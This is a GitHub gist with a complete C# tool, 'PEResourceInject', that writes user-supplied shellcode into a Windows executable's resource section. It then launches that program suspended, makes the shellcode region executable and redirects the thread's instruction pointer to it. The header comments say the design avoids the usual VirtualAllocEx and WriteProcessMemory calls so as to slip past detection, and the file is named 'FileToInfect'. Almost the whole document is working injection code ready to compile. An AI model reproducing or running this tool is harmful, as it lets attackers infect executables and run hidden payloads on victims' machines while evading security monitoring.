Skip to content

Instantly share code, notes, and snippets.

@Wra7h
Created October 17, 2022 05:39
Show Gist options
  • Save Wra7h/65f52dc325a215227daa312a2e54a0a5 to your computer and use it in GitHub Desktop.
Save Wra7h/65f52dc325a215227daa312a2e54a0a5 to your computer and use it in GitHub Desktop.
PEResourceInject
/*
* PEResourceInject (C# version for x64) by Wra7h
*
* Add a bitmap resource to an executable. Parse the PE header and calculate the address of the shellcode.
* This avoids direct calls to VirtualAllocEx & WriteProcessMemory, but will modify the target exe on disk,
* and this implementation will create a backup of the executable in the same directory with a ".bak" extension.
*
* Compile: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe .\PEResourceInject.cs
* Use: PEResourceInject.exe <C:\Path\to\target\program.exe> <C:\Path\to\shellcode.bin>
*
* References:
* A dive into the PE file format by 0xRick: https://0xrick.github.io/win-internals/pe8/
* Get/SetThreadContext P/Invokes: https://github.com/pwndizzle/c-sharp-memory-injection/blob/master/thread-hijack.cs
*/
using System;
using System.IO;
using System.Runtime.InteropServices;
namespace PERsrcInject
{
class Program
{
static void Main(string[] args)
{
string FileToInfect = args[0];
byte[] payload = File.ReadAllBytes(args[1]);
File.Copy(FileToInfect, FileToInfect + ".bak");
if (File.Exists(FileToInfect + ".bak"))
{
Console.ForegroundColor = ConsoleColor.Green;
Console.Write("[*] ");
Console.ResetColor();
Console.WriteLine("Created backup: {0}.bak", FileToInfect);
}
// Add shellcode as a resource
IntPtr hUpdate = BeginUpdateResource(FileToInfect, true);
if (hUpdate == IntPtr.Zero)
{
Console.WriteLine("BeginUpdateResource failed. Exiting...");
System.Environment.Exit(1);
}
bool bvRet = UpdateResource(hUpdate, (IntPtr)2, (IntPtr)2, 0, payload, (uint)payload.Length);
if (!bvRet)
{
Console.WriteLine("UpdateResource failed. Exiting...");
System.Environment.Exit(1);
}
bvRet = EndUpdateResource(hUpdate, false);
if (!bvRet)
{
Console.WriteLine("EndUpdateResource failed. Exiting...");
System.Environment.Exit(1);
}
// Create the suspended process
STARTUPINFO sSI = new STARTUPINFO();
PROCESS_INFORMATION sPI = new PROCESS_INFORMATION();
bvRet = CreateProcess(FileToInfect, String.Empty, IntPtr.Zero, IntPtr.Zero,
false, 0x4 /*Suspended*/, IntPtr.Zero, Directory.GetCurrentDirectory(), ref sSI, out sPI);
if (!bvRet)
{
Console.WriteLine("CreateProcess failed. Exiting...");
System.Environment.Exit(1);
}
// PROCESS_BASIC_INFORMATION - Get PEB Address to read imagebase
PROCESS_BASIC_INFORMATION sPBI = new PROCESS_BASIC_INFORMATION();
int cbRet = 0;
NtQueryInformationProcess(sPI.hProcess, 0, out sPBI, Marshal.SizeOf(sPBI), out cbRet);
IntPtr PEBOffset = (IntPtr)(sPBI.PebAddress.ToInt64() + 0x10);
// Imagebase
byte[] ImageBase = new byte[8];
IntPtr NumRead = IntPtr.Zero;
bvRet = ReadProcessMemory(sPI.hProcess, PEBOffset, ImageBase, 8, out NumRead);
if (!bvRet)
{
Console.WriteLine("ReadProcessMemory: Imagebase failed. Exiting...");
System.Environment.Exit(1);
}
IntPtr pImageBase = (IntPtr)BitConverter.ToInt64(ImageBase, 0);
// IMAGE_DOS_HEADER
byte[] bIDOSH = new byte[Marshal.SizeOf(typeof(IMAGE_DOS_HEADER))];
bvRet = ReadProcessMemory(sPI.hProcess, pImageBase, bIDOSH, Marshal.SizeOf(typeof(IMAGE_DOS_HEADER)), out NumRead);
if (!bvRet)
{
Console.WriteLine("ReadProcessMemory: IMAGE_DOS_HEADER failed. Exiting...");
System.Environment.Exit(1);
}
GCHandle pbIDOSH = GCHandle.Alloc(bIDOSH, GCHandleType.Pinned);
IMAGE_DOS_HEADER sImageDOSHeader = (IMAGE_DOS_HEADER)Marshal.PtrToStructure(pbIDOSH.AddrOfPinnedObject(), typeof(IMAGE_DOS_HEADER));
// IMAGE_NT_HEADER
IntPtr pAddressImageNTHeader = ((IntPtr)(pImageBase.ToInt64() + sImageDOSHeader.e_lfanew));
byte[] bImageNTHeader = new byte[Marshal.SizeOf(typeof(IMAGE_NT_HEADERS64))];
bvRet = ReadProcessMemory(sPI.hProcess, pAddressImageNTHeader, bImageNTHeader, Marshal.SizeOf(typeof(IMAGE_NT_HEADERS64)), out NumRead);
if (!bvRet)
{
Console.WriteLine("ReadProcessMemory: IMAGE_NT_HEADER failed. Exiting...");
System.Environment.Exit(1);
}
GCHandle pbImageNTHeader = GCHandle.Alloc(bImageNTHeader, GCHandleType.Pinned);
IMAGE_NT_HEADERS64 sImageNTHeader = (IMAGE_NT_HEADERS64)Marshal.PtrToStructure(pbImageNTHeader.AddrOfPinnedObject(), typeof(IMAGE_NT_HEADERS64));
// IMAGE_SECTION_HEADER
IntPtr pAddressOfSection = (IntPtr)(pAddressImageNTHeader.ToInt64() + (sizeof(uint) + Marshal.SizeOf(typeof(IMAGE_FILE_HEADER)) + sImageNTHeader.FileHeader.SizeOfOptionalHeader));
IntPtr pAddressShellcodeStart = IntPtr.Zero;
for (int i = 0; i < sImageNTHeader.FileHeader.NumberOfSections; i++)
{
byte[] bImageSectionHeader = new byte[Marshal.SizeOf(typeof(IMAGE_SECTION_HEADER))];
bvRet = ReadProcessMemory(sPI.hProcess, pAddressOfSection, bImageSectionHeader, Marshal.SizeOf(typeof(IMAGE_SECTION_HEADER)), out NumRead);
if (!bvRet)
{
Console.WriteLine("ReadProcessMemory: IMAGE_SECTION_HEADER {0} failed.", i);
continue;
}
GCHandle pbImageSectionHeader = GCHandle.Alloc(bImageSectionHeader, GCHandleType.Pinned);
IMAGE_SECTION_HEADER sImageSectionHeader = (IMAGE_SECTION_HEADER)Marshal.PtrToStructure(pbImageSectionHeader.AddrOfPinnedObject(), typeof(IMAGE_SECTION_HEADER));
if (new string(sImageSectionHeader.Name).StartsWith(".rsrc"))
{
//Updated rsrc found. Calculate the address of the shellocde (a bitmap header is 0x58 bytes)
pAddressShellcodeStart = (IntPtr)(pImageBase.ToInt64() + sImageSectionHeader.VirtualAddress + 0x58);
uint oldProtect = 0;
VirtualProtectEx(sPI.hProcess, pAddressShellcodeStart, (uint)payload.Length, 0x20, out oldProtect);
break;
}
//.rsrc wasn't found, move to the start of the next section
pAddressOfSection = (IntPtr)(pAddressOfSection.ToInt64() + Marshal.SizeOf(typeof(IMAGE_SECTION_HEADER)));
}
CONTEXT64 sC64 = new CONTEXT64();
sC64.ContextFlags = CONTEXT_FLAGS.CONTEXT_ALL;
bvRet = GetThreadContext(sPI.hThread, ref sC64);
sC64.Rip = (ulong)pAddressShellcodeStart.ToInt64();
bvRet = SetThreadContext(sPI.hThread, ref sC64);
ResumeThread(sPI.hThread);
CloseHandle(sPI.hThread);
CloseHandle(sPI.hProcess);
Console.WriteLine("Done!");
}
#region StructsEnums
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Auto)]
public struct STARTUPINFO
{
public Int32 cb;
public IntPtr lpReserved;
public IntPtr lpDesktop;
public IntPtr lpTitle;
public Int32 dwX;
public Int32 dwY;
public Int32 dwXSize;
public Int32 dwYSize;
public Int32 dwXCountChars;
public Int32 dwYCountChars;
public Int32 dwFillAttribute;
public Int32 dwFlags;
public Int16 wShowWindow;
public Int16 cbReserved2;
public IntPtr lpReserved2;
public IntPtr hStdInput;
public IntPtr hStdOutput;
public IntPtr hStdError;
}
[StructLayout(LayoutKind.Sequential)]
internal struct PROCESS_INFORMATION
{
public IntPtr hProcess;
public IntPtr hThread;
public int dwProcessId;
public int dwThreadId;
}
[StructLayout(LayoutKind.Explicit)]
public struct IMAGE_SECTION_HEADER
{
[FieldOffset(0)]
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 8)]
public char[] Name;
[FieldOffset(8)]
public UInt32 VirtualSize;
[FieldOffset(12)]
public UInt32 VirtualAddress;
[FieldOffset(16)]
public UInt32 SizeOfRawData;
[FieldOffset(20)]
public UInt32 PointerToRawData;
[FieldOffset(24)]
public UInt32 PointerToRelocations;
[FieldOffset(28)]
public UInt32 PointerToLinenumbers;
[FieldOffset(32)]
public UInt16 NumberOfRelocations;
[FieldOffset(34)]
public UInt16 NumberOfLinenumbers;
[FieldOffset(36)]
public DataSectionFlags Characteristics;
public string Section
{
get { return new string(Name); }
}
}
[StructLayout(LayoutKind.Sequential)]
internal struct PROCESS_BASIC_INFORMATION
{
public IntPtr ExitStatus;
public IntPtr PebAddress;
public IntPtr AffinityMask;
public IntPtr BasePriority;
public IntPtr UniquePID;
public IntPtr InheritedFromUniqueProcessId;
}
[StructLayout(LayoutKind.Sequential)]
public struct IMAGE_DOS_HEADER
{
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 2)]
public char[] e_magic; // Magic number
public UInt16 e_cblp; // Bytes on last page of file
public UInt16 e_cp; // Pages in file
public UInt16 e_crlc; // Relocations
public UInt16 e_cparhdr; // Size of header in paragraphs
public UInt16 e_minalloc; // Minimum extra paragraphs needed
public UInt16 e_maxalloc; // Maximum extra paragraphs needed
public UInt16 e_ss; // Initial (relative) SS value
public UInt16 e_sp; // Initial SP value
public UInt16 e_csum; // Checksum
public UInt16 e_ip; // Initial IP value
public UInt16 e_cs; // Initial (relative) CS value
public UInt16 e_lfarlc; // File address of relocation table
public UInt16 e_ovno; // Overlay number
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 4)]
public UInt16[] e_res1; // Reserved words
public UInt16 e_oemid; // OEM identifier (for e_oeminfo)
public UInt16 e_oeminfo; // OEM information; e_oemid specific
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 10)]
public UInt16[] e_res2; // Reserved words
public Int32 e_lfanew; // File address of new exe header
private string _e_magic
{
get { return new string(e_magic); }
}
public bool isValid
{
get { return _e_magic == "MZ"; }
}
}
[Flags]
public enum DataSectionFlags : uint
{
/// <summary>
/// Reserved for future use.
/// </summary>
TypeReg = 0x00000000,
/// <summary>
/// Reserved for future use.
/// </summary>
TypeDsect = 0x00000001,
/// <summary>
/// Reserved for future use.
/// </summary>
TypeNoLoad = 0x00000002,
/// <summary>
/// Reserved for future use.
/// </summary>
TypeGroup = 0x00000004,
/// <summary>
/// The section should not be padded to the next boundary. This flag is obsolete and is replaced by IMAGE_SCN_ALIGN_1BYTES. This is valid only for object files.
/// </summary>
TypeNoPadded = 0x00000008,
/// <summary>
/// Reserved for future use.
/// </summary>
TypeCopy = 0x00000010,
/// <summary>
/// The section contains executable code.
/// </summary>
ContentCode = 0x00000020,
/// <summary>
/// The section contains initialized data.
/// </summary>
ContentInitializedData = 0x00000040,
/// <summary>
/// The section contains uninitialized data.
/// </summary>
ContentUninitializedData = 0x00000080,
/// <summary>
/// Reserved for future use.
/// </summary>
LinkOther = 0x00000100,
/// <summary>
/// The section contains comments or other information. The .drectve section has this type. This is valid for object files only.
/// </summary>
LinkInfo = 0x00000200,
/// <summary>
/// Reserved for future use.
/// </summary>
TypeOver = 0x00000400,
/// <summary>
/// The section will not become part of the image. This is valid only for object files.
/// </summary>
LinkRemove = 0x00000800,
/// <summary>
/// The section contains COMDAT data. For more information, see section 5.5.6, COMDAT Sections (Object Only). This is valid only for object files.
/// </summary>
LinkComDat = 0x00001000,
/// <summary>
/// Reset speculative exceptions handling bits in the TLB entries for this section.
/// </summary>
NoDeferSpecExceptions = 0x00004000,
/// <summary>
/// The section contains data referenced through the global pointer (GP).
/// </summary>
RelativeGP = 0x00008000,
/// <summary>
/// Reserved for future use.
/// </summary>
MemPurgeable = 0x00020000,
/// <summary>
/// Reserved for future use.
/// </summary>
Memory16Bit = 0x00020000,
/// <summary>
/// Reserved for future use.
/// </summary>
MemoryLocked = 0x00040000,
/// <summary>
/// Reserved for future use.
/// </summary>
MemoryPreload = 0x00080000,
/// <summary>
/// Align data on a 1-byte boundary. Valid only for object files.
/// </summary>
Align1Bytes = 0x00100000,
/// <summary>
/// Align data on a 2-byte boundary. Valid only for object files.
/// </summary>
Align2Bytes = 0x00200000,
/// <summary>
/// Align data on a 4-byte boundary. Valid only for object files.
/// </summary>
Align4Bytes = 0x00300000,
/// <summary>
/// Align data on an 8-byte boundary. Valid only for object files.
/// </summary>
Align8Bytes = 0x00400000,
/// <summary>
/// Align data on a 16-byte boundary. Valid only for object files.
/// </summary>
Align16Bytes = 0x00500000,
/// <summary>
/// Align data on a 32-byte boundary. Valid only for object files.
/// </summary>
Align32Bytes = 0x00600000,
/// <summary>
/// Align data on a 64-byte boundary. Valid only for object files.
/// </summary>
Align64Bytes = 0x00700000,
/// <summary>
/// Align data on a 128-byte boundary. Valid only for object files.
/// </summary>
Align128Bytes = 0x00800000,
/// <summary>
/// Align data on a 256-byte boundary. Valid only for object files.
/// </summary>
Align256Bytes = 0x00900000,
/// <summary>
/// Align data on a 512-byte boundary. Valid only for object files.
/// </summary>
Align512Bytes = 0x00A00000,
/// <summary>
/// Align data on a 1024-byte boundary. Valid only for object files.
/// </summary>
Align1024Bytes = 0x00B00000,
/// <summary>
/// Align data on a 2048-byte boundary. Valid only for object files.
/// </summary>
Align2048Bytes = 0x00C00000,
/// <summary>
/// Align data on a 4096-byte boundary. Valid only for object files.
/// </summary>
Align4096Bytes = 0x00D00000,
/// <summary>
/// Align data on an 8192-byte boundary. Valid only for object files.
/// </summary>
Align8192Bytes = 0x00E00000,
/// <summary>
/// The section contains extended relocations.
/// </summary>
LinkExtendedRelocationOverflow = 0x01000000,
/// <summary>
/// The section can be discarded as needed.
/// </summary>
MemoryDiscardable = 0x02000000,
/// <summary>
/// The section cannot be cached.
/// </summary>
MemoryNotCached = 0x04000000,
/// <summary>
/// The section is not pageable.
/// </summary>
MemoryNotPaged = 0x08000000,
/// <summary>
/// The section can be shared in memory.
/// </summary>
MemoryShared = 0x10000000,
/// <summary>
/// The section can be executed as code.
/// </summary>
MemoryExecute = 0x20000000,
/// <summary>
/// The section can be read.
/// </summary>
MemoryRead = 0x40000000,
/// <summary>
/// The section can be written to.
/// </summary>
MemoryWrite = 0x80000000
}
[StructLayout(LayoutKind.Explicit)]
public struct IMAGE_NT_HEADERS64
{
[FieldOffset(0)]
public UInt32 Signature;
[FieldOffset(4)]
public IMAGE_FILE_HEADER FileHeader;
[FieldOffset(24)]
public IMAGE_OPTIONAL_HEADER64 OptionalHeader;
}
[StructLayout(LayoutKind.Sequential)]
public struct IMAGE_FILE_HEADER
{
public UInt16 Machine;
public UInt16 NumberOfSections;
public UInt32 TimeDateStamp;
public UInt32 PointerToSymbolTable;
public UInt32 NumberOfSymbols;
public UInt16 SizeOfOptionalHeader;
public UInt16 Characteristics;
}
[StructLayout(LayoutKind.Explicit)]
public struct IMAGE_OPTIONAL_HEADER64
{
[FieldOffset(0)]
public ushort Magic;
[FieldOffset(2)]
public byte MajorLinkerVersion;
[FieldOffset(3)]
public byte MinorLinkerVersion;
[FieldOffset(4)]
public uint SizeOfCode;
[FieldOffset(8)]
public uint SizeOfInitializedData;
[FieldOffset(12)]
public uint SizeOfUninitializedData;
[FieldOffset(16)]
public uint AddressOfEntryPoint;
[FieldOffset(20)]
public uint BaseOfCode;
[FieldOffset(24)]
public ulong ImageBase;
[FieldOffset(32)]
public uint SectionAlignment;
[FieldOffset(36)]
public uint FileAlignment;
[FieldOffset(40)]
public ushort MajorOperatingSystemVersion;
[FieldOffset(42)]
public ushort MinorOperatingSystemVersion;
[FieldOffset(44)]
public ushort MajorImageVersion;
[FieldOffset(46)]
public ushort MinorImageVersion;
[FieldOffset(48)]
public ushort MajorSubsystemVersion;
[FieldOffset(50)]
public ushort MinorSubsystemVersion;
[FieldOffset(52)]
public uint Win32VersionValue;
[FieldOffset(56)]
public uint SizeOfImage;
[FieldOffset(60)]
public uint SizeOfHeaders;
[FieldOffset(64)]
public uint CheckSum;
[FieldOffset(68)]
public ushort Subsystem;
[FieldOffset(70)]
public ushort DllCharacteristics;
[FieldOffset(72)]
public ulong SizeOfStackReserve;
[FieldOffset(80)]
public ulong SizeOfStackCommit;
[FieldOffset(88)]
public ulong SizeOfHeapReserve;
[FieldOffset(96)]
public ulong SizeOfHeapCommit;
[FieldOffset(104)]
public uint LoaderFlags;
[FieldOffset(108)]
public uint NumberOfRvaAndSizes;
[FieldOffset(112)]
public IMAGE_DATA_DIRECTORY ExportTable;
[FieldOffset(120)]
public IMAGE_DATA_DIRECTORY ImportTable;
[FieldOffset(128)]
public IMAGE_DATA_DIRECTORY ResourceTable;
[FieldOffset(136)]
public IMAGE_DATA_DIRECTORY ExceptionTable;
[FieldOffset(144)]
public IMAGE_DATA_DIRECTORY CertificateTable;
[FieldOffset(152)]
public IMAGE_DATA_DIRECTORY BaseRelocationTable;
[FieldOffset(160)]
public IMAGE_DATA_DIRECTORY Debug;
[FieldOffset(168)]
public IMAGE_DATA_DIRECTORY Architecture;
[FieldOffset(176)]
public IMAGE_DATA_DIRECTORY GlobalPtr;
[FieldOffset(184)]
public IMAGE_DATA_DIRECTORY TLSTable;
[FieldOffset(192)]
public IMAGE_DATA_DIRECTORY LoadConfigTable;
[FieldOffset(200)]
public IMAGE_DATA_DIRECTORY BoundImport;
[FieldOffset(208)]
public IMAGE_DATA_DIRECTORY IAT;
[FieldOffset(216)]
public IMAGE_DATA_DIRECTORY DelayImportDescriptor;
[FieldOffset(224)]
public IMAGE_DATA_DIRECTORY CLRRuntimeHeader;
[FieldOffset(232)]
public IMAGE_DATA_DIRECTORY Reserved;
}
[StructLayout(LayoutKind.Sequential)]
public struct IMAGE_DATA_DIRECTORY
{
public UInt32 VirtualAddress;
public UInt32 Size;
}
[StructLayout(LayoutKind.Sequential, Pack = 16)]
public struct CONTEXT64
{
public ulong P1Home;
public ulong P2Home;
public ulong P3Home;
public ulong P4Home;
public ulong P5Home;
public ulong P6Home;
public CONTEXT_FLAGS ContextFlags;
public uint MxCsr;
public ushort SegCs;
public ushort SegDs;
public ushort SegEs;
public ushort SegFs;
public ushort SegGs;
public ushort SegSs;
public uint EFlags;
public ulong Dr0;
public ulong Dr1;
public ulong Dr2;
public ulong Dr3;
public ulong Dr6;
public ulong Dr7;
public ulong Rax;
public ulong Rcx;
public ulong Rdx;
public ulong Rbx;
public ulong Rsp;
public ulong Rbp;
public ulong Rsi;
public ulong Rdi;
public ulong R8;
public ulong R9;
public ulong R10;
public ulong R11;
public ulong R12;
public ulong R13;
public ulong R14;
public ulong R15;
public ulong Rip;
public XSAVE_FORMAT64 DUMMYUNIONNAME;
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 26)]
public M128A[] VectorRegister;
public ulong VectorControl;
public ulong DebugControl;
public ulong LastBranchToRip;
public ulong LastBranchFromRip;
public ulong LastExceptionToRip;
public ulong LastExceptionFromRip;
}
public enum CONTEXT_FLAGS : uint
{
CONTEXT_i386 = 0x10000,
CONTEXT_i486 = 0x10000, // same as i386
CONTEXT_CONTROL = CONTEXT_i386 | 0x01, // SS:SP, CS:IP, FLAGS, BP
CONTEXT_INTEGER = CONTEXT_i386 | 0x02, // AX, BX, CX, DX, SI, DI
CONTEXT_SEGMENTS = CONTEXT_i386 | 0x04, // DS, ES, FS, GS
CONTEXT_FLOATING_POINT = CONTEXT_i386 | 0x08, // 387 state
CONTEXT_DEBUG_REGISTERS = CONTEXT_i386 | 0x10, // DB 0-3,6,7
CONTEXT_EXTENDED_REGISTERS = CONTEXT_i386 | 0x20, // cpu specific extensions
CONTEXT_FULL = CONTEXT_CONTROL | CONTEXT_INTEGER | CONTEXT_SEGMENTS,
CONTEXT_ALL = CONTEXT_CONTROL | CONTEXT_INTEGER | CONTEXT_SEGMENTS | CONTEXT_FLOATING_POINT | CONTEXT_DEBUG_REGISTERS | CONTEXT_EXTENDED_REGISTERS
}
[StructLayout(LayoutKind.Sequential)]
public struct M128A
{
public ulong High;
public long Low;
public override string ToString()
{
return string.Format("High:{0}, Low:{1}", this.High, this.Low);
}
}
[StructLayout(LayoutKind.Sequential, Pack = 16)]
public struct XSAVE_FORMAT64
{
public ushort ControlWord;
public ushort StatusWord;
public byte TagWord;
public byte Reserved1;
public ushort ErrorOpcode;
public uint ErrorOffset;
public ushort ErrorSelector;
public ushort Reserved2;
public uint DataOffset;
public ushort DataSelector;
public ushort Reserved3;
public uint MxCsr;
public uint MxCsr_Mask;
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 8)]
public M128A[] FloatRegisters;
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 16)]
public M128A[] XmmRegisters;
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 96)]
public byte[] Reserved4;
}
#endregion
[DllImport("kernel32.dll", SetLastError = true)]
public static extern IntPtr BeginUpdateResource(string pFileName, bool bDeleteExistingResources);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern bool UpdateResource(IntPtr hUpdate, IntPtr lpType, IntPtr lpName, ushort wLanguage, byte[] lpData, uint cb);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern bool EndUpdateResource(IntPtr hUpdate, bool fDiscard);
[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Auto)]
static extern bool CreateProcess(
string lpApplicationName,
string lpCommandLine,
IntPtr lpProcessAttributes,
IntPtr lpThreadAttributes,
bool bInheritHandles,
uint dwCreationFlags,
IntPtr lpEnvironment,
string lpCurrentDirectory,
[In] ref STARTUPINFO lpStartupInfo,
out PROCESS_INFORMATION lpProcessInformation);
[DllImport("ntdll.dll", SetLastError = true)]
static extern int NtQueryInformationProcess(
IntPtr hProcess,
int ProcessInfoClass,
out PROCESS_BASIC_INFORMATION pbi,
int cb,
out int pSize);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern bool ReadProcessMemory(
IntPtr hProcess,
IntPtr lpBaseAddress,
byte[] lpBuffer,
Int32 nSize,
out IntPtr lpNumberOfBytesRead);
[DllImport("kernel32.dll")]
static extern bool VirtualProtectEx(IntPtr hProcess, IntPtr lpAddress,
uint dwSize, uint flNewProtect, out uint lpflOldProtect);
[DllImport("kernel32.dll", SetLastError = true)]
static extern bool SetThreadContext(IntPtr hThread, ref CONTEXT64 lpContext);
[DllImport("kernel32.dll", SetLastError = true)]
static extern bool GetThreadContext(IntPtr hThread, ref CONTEXT64 lpContext);
[DllImport("kernel32.dll", SetLastError = true)]
static extern uint ResumeThread(IntPtr hThread);
[DllImport("kernel32.dll", SetLastError = true)]
static extern bool CloseHandle(IntPtr hObject);
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment